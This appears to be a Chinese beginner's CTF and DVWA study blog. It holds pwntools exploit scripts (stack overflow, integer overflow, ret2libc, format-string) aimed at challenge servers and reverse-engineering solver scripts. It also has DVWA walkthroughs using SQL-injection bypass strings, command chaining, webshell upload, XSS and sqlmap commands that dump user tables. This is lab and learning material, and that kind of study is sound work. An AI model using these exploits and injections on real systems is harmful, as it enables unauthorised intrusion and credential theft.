10
11
12
13
14
15
from pwn import *
#context(arch = 'amd64', os = 'linux')
r = remote("111.200.241.244", 60098)

payload='a'*0x20+"aaaa"

r.sendlineafter("Your name:",payload)

num=["5","6","4","6","6","2","3","6","2","2"]

for i in range(10):

r.sendlineafter("Please input your guess number:",num[i])

r.interactive()

法二:利用v7覆盖seed[0],使seed[0]已知,然后算法里循环,就拿到flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from ctypes import *
context.log_level = 'debug'
#p = remote('111.198.29.45',41080)
p = process('./guess_num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(0)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
p.interactive()

int_overflow

知识补充:整数溢出

照例查运行

image-20210803204915843

吓得我以为要出flag

拖IDA跟进login

image-20210803205002331

跟进strcpy()函数,发现存在栈溢出

image-20210803205112864

可以知道dest距离ret的长度为0x14+4

然后又发现了cat flag

image-20210803205315714

image-20210803205340200

记录地址0x0804868b

利用整数溢出(在linux环境下,编译器会提醒溢出,但仍然会输出的值)返回ida查看变量v3的值为[3,8),而输入的密码变量s的长度为0x199,即十进制里的409,又因为v3的类型为unsigned _int8,即[8位无符号整数](https://zhidao.baidu.com/question/1818954413951622788.html#:~:text=8位二进制所能表示的无符号整数范围为0~255;8位二进制所能表示的带符号整数范围为-128~127。 无符号数 (Unsigned number)是相对于有符号数而言的,指的是整个机器字长的全部二进制位均表示数值位,相当于数的绝对值。 用二进制数的最高位表示符号,最高位是0,表示正数,最高位是1,表示负数。 这种说法本身没错,可是如果没有下文,那么它就是错的。 至少它不能解释,为什么字符类型的-1用二进制表示是“1111,1111” (16进制为FF);而不是我们更能理解的“1000 0001”。 有符号整数可表示正整数、0和负整数值。 其二进制编码方式包含 符号位 和 真值域。),最大值为255。所以v3的最大值为255且为无符号整数,所以当s长度为256时v3=0,所以s的输入长度为[259,264)即可符合v3的值

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
r = remote("111.200.241.244", 62179)

sys=0x0804868b
payload='a'*0x14+'a'*4+p32(sys)
payload = payload.ljust(259,'a')

r.sendlineafter("Your choice:","1")
r.sendlineafter("Please input your username:","111")
r.sendlineafter("Please input your passwd:",payload)
r.interactive()

image-20210803210809155

cgpwn2

知识补充:0xdeadbeef

常规操作image-20210803212301602

IDA跟进

image-20210803212329433

发现gets,栈溢出。很快找到溢出点s

image-20210803212806191

image-20210803212825087

可知s距离ret长度为0x26+4,随后又记录下system的地址为08048420

image-20210803212923418

不过system没有/bin/sh可以执行,不知道在哪里搞出来,查看wp

得知name在.bss里,可以把它写成/bin/sh

image-20210803212947420

exp就有了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
r = remote("111.200.241.244", 51159)

r.sendlineafter('name','/bin/sh')
sys=0x08048420
sh=0x0804A080

payload='a'*0x26+'a'*4+p32(sys)+p32(0xdeadbeef)+p32(sh)

r.sendlineafter("hello,you can leave some message here:",payload)
r.interactive()

image-20210803213109114

level3

照例

image-20210803215305368

看IDA里有read和write,是ret2libc的题型,直接看wp

思路是通过read函数的栈溢出返回到write函数,利用write函数写出__libc_start_main在got表中的位置,利用LibcSearcher工具查找到相应的libc库,从而得到基地址,不过题目给了也不用工具

拿exp——

使用工具版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
from LibcSearcher import LibcSearcher


r=remote("")

elf=ELF('./level3')

write_plt = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
vuln = 0x0804844b

r.recvline()
payload1 = 'a'*140 +p32(write_plt) + p32(vuln) + p32(1) + p32(libc_start_main_got) + p32(4)
r.sendline(payload1)
libc_start_main_addr = u32(r.recv()[0:4])

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
payload2 = flat(['a'*140, system, 0xdeadbeef, binsh])
r.sendline(payload2)
r.interactive()

使用题目库版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*

#r=process('./level3')
r = remote("")
elf=ELF('./level3')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']

r.recvline()
payload1 = 'a'*140 +p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
r.sendline(payload1)
write_got_addr = u32(r.recv()[0:4])

libc = ELF('./libc_32.so.6')
libcbase = write_got_addr - libc.sym['write']

system = libcbase + libc.sym['system']

binsh = libc.search("/bin/sh").next() + libcbase
payload2 = flat(['a'*140, system, 0xdeadbeef, binsh])

#r.recvuntil(':\n')
r.sendline(payload2)
r.interactive()

image-20210803233148272

CGfsb

照例

image-20210803233438018

IDA

image-20210803235552887

if语句可以分析出来pwnme=8就可以cat flag,又发现了printf,存在格式化字符串漏洞,通过地址任意写,即把s的内容写成pwnme的地址即8,所以先记录下pwnme的地址

image-20210804001143804

然后找偏移量

image-20210804000926106

数出来是10,即任意写可为%10$n,又因为p32将地址转为4个字节,所以还差4个字节,用“aaaa”代替就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
#r = process("./CGfsb")
r=remote("111.200.241.244",58931)

r.sendlineafter("please tell me your name:","hh")

sys = 0x0804A068
payload = p32(sys)+"aaaa%10$n"
r.sendlineafter("leave your message please:",payload)

r.interactive()

image-20210804153644665

攻防世界Re新手区

open-source

一段C的代码,一行行看,利用逆向思维反着来就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc != 4) {
printf("what?\n");
exit(1);
}
unsigned int first = atoi(argv[1]);
if (first != 0xcafe) {//得出first=0xcafe转换成10进值为51966
printf("you are wrong, sorry.\n");
exit(2);
}
unsigned int second = atoi(argv[2]);
if (second % 5 == 3 || second % 17 != 8) {//second=25
printf("ha, you won't get it!\n");
exit(3);
}
if (strcmp("h4cky0u", argv[3])) {//argv[3]=’h4cky0u’
printf("so close, dude!\n");
exit(4);
}
printf("Brr wrrr grr\n");
unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;
printf("Get your key: ");
printf("%x\n", hash);
return 0;
}

然后直接写出脚本

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <string.h>
int main () {
unsigned int first = 51966;
unsigned int second=25;
unsigned int hash = first * 31337 + (second % 17) * 11 + strlen("h4cky0u") - 1615810207;
printf("Get your key: ");
printf("%x\n", hash);
return 0;
}

image-20210723204529916

game

法一:直接运行看到是image-20210717111904925

类似数学?随便按1~8顺序按了一下,神奇的事情发生了。。。一脸懵逼,很突然的我也不知道原理

image-20210717111847983

法二:其实考点是算法

拖IDA,先找字符串发现没东西,然后main,f5

image-20210717131544368

似乎没东西,找看起来有东西的函数

image-20210717131604221

很明显调用了东西,点进去康康发现flag字眼

image-20210717131653612

他是一直到image-20210717131735829

重点是循环语句那段

1
2
3
4
5
6
7
 for ( i = 0; i < 56; ++i )
{
*(&v2 + i) ^= *(&v59 + i);//异或运算
*(&v2 + i) ^= 0x13u;
}
return sub_45A7BE((int)"%s\n");
}
1
2
3
4
5
6
7
8
a= [18,64,98,5,2,4,6,3,6,48,49,65,32,12,48,65,31,78,62,32,49,32,1,57,96,3,21,9,4,62,3,5,4,1,2,3,44,65,78,32,16,97,54,16,44,52,32,64,89,45,32,65,15,34,18,16,0]
b=[123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0]
flag = ''
for i in range(56):
a[i] = a[i]^b[i]
a[i] = a[i]^19#按R转换上文字符等于19
flag+=chr(a[i])
print(flag)

image-20210717133351831

Hello,CTF

先跑程序

image-20210717134157670

要输入啥的不知道,肯定是flag。拖IDA梭哈image-20210717134226130

strcpy(&v13, "437261636b4d654a757374466f7246756e");

明显flag就是他。。一个16进制码(数字09和字母AF),直接转码

image-20210717134433247

simple-unpack

考点:脱壳

从题目已知这个是加壳文件,工具先查一下壳

image-20210717135043548

下面的信息显示64bit知道是64位文件,upx知道是upx加壳

那就直接脱掉

image-20210717135954434

然后拖入IDA

image-20210717140107815

映入眼帘。

法二:自己脱壳做出来后,网上说这个不用脱壳。。。直接拖入010一查就有。。像个misc似的

image-20210717140929475

logmein

拖入IDA,main F5

image-20210717143821052

先将v7按R变成字符image-20210717153702029然后倒过来取,即

v7=harambe,然后v8肯定是加密后的flag了

重点是循环语句

1
2
3
4
5
6
7
for ( i = 0; i < strlen(s); ++i )
{
if ( i >= strlen(v8) )
((void (*)(void))sub_4007C0)();
if ( s[i] != (char)(*((_BYTE *)&v7 + i % v6) ^ v8[i]) )
((void (*)(void))sub_4007C0)();
}

脚本

1
2
3
4
5
6
7
a='harambe'
b=':\"AL_RT^L*.?+6/46'
flag = ''
for i in range(len(b)):
c = ord(a[i%7])^ord(b[i])
flag+=chr(c)
print(flag)

image-20210718192554946

ord()函数是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数,它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出了你的 Python 定义范围,则会引发一个 TypeError 的异常。

no-strings-attached

先查知道是32位ELF,再IDA

image-20210717155525760

觉得最后一个函数里有东西,点进去

image-20210717160318691

发现了一个看起来似乎很关键的函数decrypt,点进去看到image-20210717160100419

很明显返回的dest里有flag,而s和a2里面或许有dest相关的东西。但是看了半天点了半天没东西,直接看wp

回去看汇编

image-20210717161812007

通过汇编代码,了解到eax保存dest的值后传递给s2

不需要去分析decrypt的内容了,直接上gdb动态调试。

gdb动态调试指令:

下断点:

1
b *地址

由IDA看出decrypt的地址

image-20210717174017012

所以在他下一行加个断点

image-20210717174057614

image-20210717174226983

执行到断点所在位置

1
r

image-20210717174301145

单步跟踪:

1
n

由于直接下断点在他的下一行所以不用跟了

查看寄存器保存的内容:

1
i r

image-20210717174353300

查看内存地址(寄存器)中的值:

1
x/5sw $eax

参数含义:
x:examine–>检测内存地址中保存的值
5:显示5行目标数据
s:以字符串形式打印
w:以双字打印

image-20210717174414940

getit

查,IDA一把梭

image-20210717181731840

好像没什么特别的

重点看循环

1
2
3
4
5
6
7
8
9
10
while ( (signed int)v5 < strlen(s) )
{
if ( v5 & 1 )
v3 = 1;
else
v3 = -1;
*(&t + (signed int)v5 + 10) = s[(signed int)v5] + v3;
LODWORD(v5) = v5 + 1;
}
strcpy(filename, "/tmp/flag.txt");

好像也没看出什么,也没给s是啥。点了其他的函数也没东西,看wp。。。。

玄机在s里,点进去就看见了(好家伙,原来字符串是给的呀。。)

image-20210717182011419

然后对照伪代码写出脚本就行了

1
2
3
4
5
6
7
8
9
a = 'c61b68366edeb7bdce3c6820314b7498'
flag = ''
for i in range(len(a)):
if i&1:
x=1
else:
x=-1
flag+=chr(ord(a[i])+x)
print(flag)

image-20210717183900450

python-trade

下载下来得到pyc文件,需要经过反编译得出原py文件

python反编译 - 在线工具 (tool.lu)

py是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64


def encode(message):
s = ""
for i in message:
x = ord(i) ^ 32
x = x + 16
s += chr(x)
return base64.b64encode(s)


correct = "XlNkVmtUI1MgXWBZXCFeKY+AaXNt"#密文
flag = ""
print "Input flag:"
flag = raw_input()
if encode(flag) == correct:
print "correct"
else:
print "wrong"

很明显,中间那段是加密代码

利用加密后的明文和加密代码往前推,写出解密代码

1
2
3
4
5
6
7
8
9
10
import base64

s = "XlNkVmtUI1MgXWBZXCFeKY+AaXNt"
a=base64.b64decode(s)
flag=''
for i in a:
i -= 16
i ^= 32
flag += chr(i)
print(flag)

image-20210717202211618

csaw2013

可执行文件先打开

image-20210718201249537

乱码。肯定无别的

然后照例查后得知是32位,可以用OD打开

image-20210718201405267

先用IDA看看有些什么

image-20210718201459667

看到flag字眼,搞了一套没发现东西,它前面的lpMem似乎与Flag有东西。

image-20210718201649763

结果无。然后分析一下特殊语段if

image-20210718202224765

看出来if语句有个退出的函数,而它有弹出框,所以if语句并没有执行

然后好像就看着没什么东西了。打开OD

image-20210718202514589

没什么头绪,往上随便翻翻看旁边注释注意到了Flag

image-20210718202635361

思路很清晰,肯定是从这里开始入手改东西让它这个弹出框显示不是乱码的窗体得到flag,也就是去让它执行那个if语句。

这个jmp指令跳转到第二个MessageBox处就行了image-20210718203254689

因为可以看到它原来是直接跳过了两个文本框,所以不执行if语句。

image-20210718203545263

然后改这个。但是运行起来是不行的,然后人麻了。再看看就发现image-20210718203706001

这有个je指令先跳了,得先把它变成空操作指令nop,还有个int3下了断点,所以也先变成nop

image-20210718204242092

然后直接运行就有了

image-20210718204312647

maze

一套操作下来根本就没有头绪,直接看wp是迷宫问题](https://ctf-wiki.github.io/ctf-wiki/reverse/maze/maze/)

输入的是’.’,’0’,’o’,’O’,并以此来确定上下左右移动

img

从这里可以看出先是进行判断,如果满足则进入判断,开头必须是以nctf{开头的

然后往下分析

img

从这里可以看出进行了四个判断,然后,进入四个函数()

img

img

img

img

从上往下以此追踪,可以发现这些函数会跳到lable15的位置,然后,对lable15分析,发现特殊的字符串

img

然后,猜测可能是一个8*8的迷宫

img

走过迷宫,获得flag:nctf{o0oo00O000oooo..OO}

buu

reverse1

先运行

image-20210722152409028

查,64位,拖IDA,但是没有main函数,但是我们可以找到flag相关的函数

image-20210722152016942

跟进image-20210722152036790

这块可以反汇编

image-20210722152109275

看if语句可以知道,Str2里面的值传给Str1,相等就是flag

点开Str2image-20210722152156137

交了发现错了。应该要改点什么,回到上面找加密

image-20210722152237583

按R转换字符,111是o,48是0,所以把所有的o变成0,交上了

reverse2

查,64位,拖IDA

image-20210722153004435

如出一辙,跟进flag

image-20210722153044258

交了发现又错,再回去看上面什么加密

image-20210722153136415

如出一辙。用1替换掉i和r一交就行

内涵的软件

先运行

image-20210722153618334

调皮~

IDA梭

image-20210722153656528

它就是flag

新年快乐

运行

image-20210722154046953

查,有upx壳,先脱壳

image-20210722154111800

拖IDA

image-20210722154130820

就是它

xor

常规操作

image-20210722160122018

知道了flag长度33,且进行了一次xor,然后与global比较,跟进

image-20210722160227640

发现字符串,可以shift+e提取出来 image-20210722160255687

查资料得知xor后再xor一遍就可以还原,直接写解密脚本

1
2
3
4
5
6
7
8
a=[102,  10, 107,  12, 119,  38,  79,  46,  64,  17,
120, 13, 90, 59, 85, 17, 112, 25, 70, 31,
118, 34, 77, 35, 68, 14, 103, 6, 104, 15,
71, 50, 79, 0]
flag=""
for i in range(len(a)-1):#不要0
flag+=chr(a[i]^a[i-1])
print(flag)

image-20210722160520686

helloworld

apk,常规操作看Java源码

image-20210722161031015

秒了

不一样的flag

运行

image-20210722162242675

上下左右,猜想是迷宫题

直接拖IDA找迷宫

image-20210722162316544

变成5*5的一个迷宫

image-20210722162323142

过迷宫,22244114422包上flag就是了

SimpleRev

常规操作,64位IDA

image-20210722181531232

必然在Decry里,跟进,看见变量按R逆取,然后key1,3里面可以点进去,直接拼出来完整的,往下分析代码写解密脚本就行

image-20210722181559045

image-20210722182348163

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<iostream>
#include<stdio.h>
#include<iomanip>
#include<math.h>
#include<string.h>
#include<stdlib.h>
#include <bits/stdc++.h>
using namespace std;
int main(){
char a[]="adsfkndcls";
char b[]="killshadow";
int c=10;
int i;
for ( i = 0; i < 10; i++ )
{
for(int j=0;j<128;j++){ //用ASCII码作为范围,输出j变成字符串
if(j<'A'||j>'z'||j>'Z'&&j<'a')
continue;
if((j-39-a[c % 10]+97)% 26 + 97==b[i])
{
printf("%c",j);
c++;
break;
}
}

}

}

image-20210722182528608

Java逆向解密

拿到class文件,丢idea看

image-20210722183654699

关键只有中间那串for循环里的运算,KEY是加密后字符串,直接写出解密脚本

1
2
3
4
5
a=[180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65 ]
flag=""
for i in range(len(a)):
flag+=chr(a[i]-64^32)
print(flag)

image-20210722184940523

[GXYCTF2019]luck_guy

IDA分析main

很简单,v4满足条件后跟进patch_me

image-20211027204823505

所以是为偶数的话进入get_flag

image-20211027204512501

看switch,case1的时候跟进f1发现

image-20211027204558788

case4发现f2为0x7F666F6067756369LL,由于是小端序存储,写脚本时需要调整为逆序

case5注意循环内是8,f2就可以拆成[0x7F,0x66,0x6F,0x60,0x67,0x75,0x63,0x69]刚好是8

1
2
3
4
5
6
7
8
9
10
11
flag="GXY{do_not_"
f2=[0x7F,0x66,0x6F,0x60,0x67,0x75,0x63,0x69][::-1]
for i in range(8):
if i%2==1 :
s=chr(f2[i]-2)
else:
s=chr(f2[i]-1)

flag+=s

print (flag)

[BJDCTF2020]JustRE

IDA跟进DialogFunc

image-20211028141351409

知识补充:C 库函数 – sprintf() | 菜鸟教程 (runoob.com)

把19999和0分别填入输出位置即可

简单注册器

jadx直接找MainActivity

image-20211028142602094

直接把这段代码拿出来单跑就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.jingfei.Encryptoin;

class main {
public static void main(String[] args) {


char[] x = "dd2940c04462b4dd7c450528835cca15".toCharArray();
x[2] = (char) ((x[2] + x[3]) - 50);
x[4] = (char) ((x[2] + x[5]) - 48);
x[30] = (char) ((x[31] + x[9]) - 48);
x[14] = (char) ((x[27] + x[28]) - 97);
for (int i = 0; i < 16; i++) {
char a = x[31 - i];
x[31 - i] = x[i];
x[i] = a;
}
System.out.println("flag{" + String.valueOf(x) + "}");
}
}

pyre

pyc反编译py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num

for i in range(l - 1):
code[i] = code[i] ^ code[i + 1]

print code
code = [
'\x1f',
'\x12',
'\x1d',
'(',
'0',
'4',
'\x01',
'\x06',
'\x14',
'4',
',',
'\x1b',
'U',
'?',
'o',
'6',
'*',
':',
'\x01',
'D',
';',
'%',
'\x13']

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
print ('Welcome to Re World!')
print ('Your input1 is your flag~')


code = [
'\x1f',
'\x12',
'\x1d',
'(',
'0',
'4',
'\x01',
'\x06',
'\x14',
'4',
',',
'\x1b',
'U',
'?',
'o',
'6',
'*',
':',
'\x01',
'D',
';',
'%',
'\x13']

for i in range(len(code)-2,-1,-1):
code[i] = chr(ord(code[i])^ord(code[i+1]))
for i in range(len(code)):
print(chr((ord(code[i])-i)%128),end="")

rsa

wp参考:(13条消息) buu RSA_ao52426055的博客-CSDN博客

大素数分解网站:http://www.factordb.com

发现pubkey:

1
2
3
4
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMAzLFxkrkcYL2wch21CM2kQVFpY9+7+
/AvKr1rzQczdAgMBAAE=
-----END PUBLIC KEY-----

公钥解析

image-20211028202454980

分解n分别得到p,q,用rsatools解出密钥d

image-20211028200230739

1
2
3
4
5
6
7
8
9
10
11
12
13
import rsa

e= 65537
n= 86934482296048119190666062003494800588905656017203025617216654058378322103517
p= 285960468890451637935629440372639283459
q= 304008741604601924494328155975272418463
d= 81176168860169991027846870170527607562179635470395365333547868786951080991441

key = rsa.PrivateKey(n,e,d,q,p) #在pkcs标准中,pkcs#1规定,私钥包含(n,e,d,p,q)

with open("E:\\ctf\\re\\buu\\41c4e672-98c5-43e5-adf4-49d75db307e4\\output\\flagenc.txt","rb") as f: #以二进制读模式,读取密文
f = f.read()
print(rsa.decrypt(f,key))

ACTF easyre

先upx脱壳

1
2
3
4
5
6
v4="*F'\"N,\"(I?+@"
key= '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\'&%$# !"'
flag=''
for i in v4:
flag+=chr(key.find(i)+1)
print(flag)

(主要只是对Low等级而言)

Burp Force

解析:暴力破解用户名和密码

方法1:bp爆破

最常规常见的方法,主要是运用bp抓包后发送到爆破模块用字典进行爆破即可

(找了个看起来很全的字典GitHub - arthur0081/Blasting_dictionary: 爆破字典

这是破解方法所对应的一些适用条件:QQ截图20210521201711

low就很轻松爆出,新手狂喜

QQ截图20210521204045

方法2:sql注入绕过

之后再看到其他博客才知道能这样爆,因为是自己了解sql注入太少所以不清楚能这样玩,毕竟sql注入我感觉挺难的。。应该是用在很多复杂的网站挖漏洞这种,而且sql注入漏洞应该是大赛中考虑最多的

这里再了解下定义吧:

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中**事先定义好的查询语句的结尾上添加额外的SQL语句**,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

那首先就可以查看源码康康有没有过滤掉用户名和密码(因为没怎么学php语法然后sql语句也没记住太多所以确实看不太懂就是了)

<?php

if( isset( $_GET[ 'Login' ] ) ) { // 获取用户名和密码 $user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// 查询验证用户名和密码
$query = "SELECT * FROM users WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// 输出头像和用户名
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

//登陆成功
​ echo "<p>Welcome to the password protected area {$user}</p>";
​ echo "<img src=\"{$avatar}\" />";
}
else {
​ // 登录失败
​ echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

因为用户名和密码都没有进行过滤所以不安全,然后直接sql语句进行测试

admin’ or ‘1’=’1,这个在数据库中对应select * from *where username=’admin’ or ‘1’=’1’语句,or语法是一真则真,因为’1’=’1’是恒成立的,where语句后面也就都为真,所以我们能够直接绕过验证,成功登录。

顺便复习下GET和POST方法

GET 方法

GET 用于从指定资源请求数据。

GET 是最常见的 HTTP 方法之一。

查询字符串(名称/值对)是在 GET 请求的 URL 中发送的

POST 方法

POST 用于将数据发送到服务器来创建/更新资源。

通过 POST 发送到服务器的数据存储在 HTTP 请求的请求主体中

抓包后可以知道网站用的是GET或者是POST方法。

参考:菜鸡的渗透学习之路:DVWA暴力破解 - FreeBuf网络安全行业门户

Command Injection

解析:命令行注入,通过输入恶意代码进行远程代码操控,即ctfhub里RCE模块(远程命令/代码执行漏洞)的题目。

首先了解一下ping:Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。应用格式:ping空格IP地址

这一块的内容还挺多的,也挺新:

命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。

  1. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。

  2. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

    基本的漏洞利用:window和linux系统都可以用&&来执行多条命令

    所以这个题就直接按照题解,直接得到信息

    image-20210521211237230

File Upload

解析:文件上传漏洞,是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。主要是用一句话木马通过各种绕过上传到服务器然后用蚁剑连接即可拿到权限。

low等级很简单并无任何白名单黑名单

QQ截图20210523200955

直接传一句话木马用蚁剑连就行了

QQ截图20210523201200

XSS

解析:跨域脚本攻击,向被攻击网站注入恶意脚本,恶意脚本获取到数据发送到另外一个域的网站上。XSS攻击需要具备两个条件:需要向web页面注入恶意代码;这些恶意代码能够被浏览器成功的执行。主要作用是拿到cookie

XSS(Reflect)

反射型xss:基本原理就是通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特定的代码参数会被HTML解析和执行

虽然也不会,不过也得跟着看看源码:QQ截图20210523202059

只是判断了name是否为空,不为空就输出name。就存在xss漏洞

直接上xss测试语句QQ截图20210523201706

(很神奇)

XSS(Store)

又是新东西,先了解下定义:储存型xss,把恶意脚本存储到被攻击者的网站的数据库。其他人访问数据库中的恶意脚本代码后,浏览器执行恶意脚本,被攻击。存储式攻击不止一次攻击,并且被攻击的人不止一个,影响范围大。

这个东西

大概思路就是说,攻击者在评论处输入xss测试语句,点击提交后这段脚本存入到数据库就能执行

然后又是跟着看源码的时候:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); //mysql_close(); } ?>

没有过滤掉message和name,直接在message处打上测试语句就行

QQ截图20210523202903

QQ截图20210523203304

(神奇)

XSS(DOM)

又是不知道的东西啊!了解下先:

DOM型XSS其实是一种特殊类型的反射型XSS,DOM是文档对象模型balbalbala那一堆东西我也不懂是啥,先不做过多的了解。。。

直接看着做

先看源码(好干净啥也没有?)

然后default也没过滤于是直接在url构造xss就行了

QQ截图20210523204739

QQ截图20210523204801

(有意思)

SQL注入

解析:sql普通注入可以根据报错提示,进行sql语句注入从而直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等,一般用手注和sqlmap自动注。

sqlmap自动注入(GET方法)

新手的我果然还是比较喜欢先尝试用工具嘻嘻

QQ截图20210528193432

got a 302 redirect to,,不能直接用,需要带上cookie,去抓包拿cookie,然后那就把cookie带上进行输入对应的sqlmap命令就能看到东西了,就是这么霸道。

基础命令如下:

*-p参数只对指定的参数进行注入,在上述命令中指定了对username参数进行注入
-p username
-v:显示详细的信息,有1-6级,默认为1
-f参数查看指纹信息
–technique 看情况选
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
–technique 看情况选******

–dbs:查看目标数据库系统的所有库 -D
–tables -T表名
–columns -C字段名
*–dump 内容**

先看所有库

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=m42j35b05uii73jgpe3am21he0" --dbsQQ截图20210528194000

也可以看相应的表,这里查看了dvwa的表

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=m42j35b05uii73jgpe3am21he0" --dbs -D dvwa --tables

QQ截图20210528194217

然后看users的字段和里面的内容

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=m42j35b05uii73jgpe3am21he0" --dbs -D dvwa --tables users --columns --dump

QQ截图20210528194823

啥都能看到了!sql注入危害性可大。

手动注入

比较适用于所有的情况

还不熟悉sql语句,查看题解敲。

先起手式测试注入点:(联合查询注入) 1’ union select user, password from users#

QQ截图20210528200222

然后闭合 1’ or ‘1’ =’1

QQ截图20210528200405

low等级毫无任何过滤直接成功注入,拿到所有信息,结束。

SQL盲注

解析:盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。难度比普通注入大很多。

类型大体分为布尔盲注,时间盲注,报错盲注

详情参考SQL注入之盲注简单总结 - Zane_S - 博客园 (cnblogs.com)

sqlmap注入

直接一套操作秒爆出表,sqlmap果真是相当厉害又方便

python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=m42j35b05uii73jgpe3am21he0" --technique B --dbs --batch

QQ截图20210528202422

这个爆的时候是一个表一个表的冒出来,符合盲注特点。

要查东西也和普通注入的时候一样的命令就行

手动注入

DVWA-SQL Injection(Blind)(SQL盲注) - 简书 (jianshu.com)

一套按照题解可以搞出来。

web

参考来源:https://www.jianshu.com/p/5fd1b624fd7a

基本操作:看源码,发送http请求,bp抓包,bp爆破,bp伪造cookie,目前遇到的就是这些。重要的是读懂代码和题目意思。一般打开一道题基本都离不开看源码抓包改包,然后才就用各种web工具。所以f12和bp是打开的基本姿势。

(1)看源码

考点:所学知识的集合。

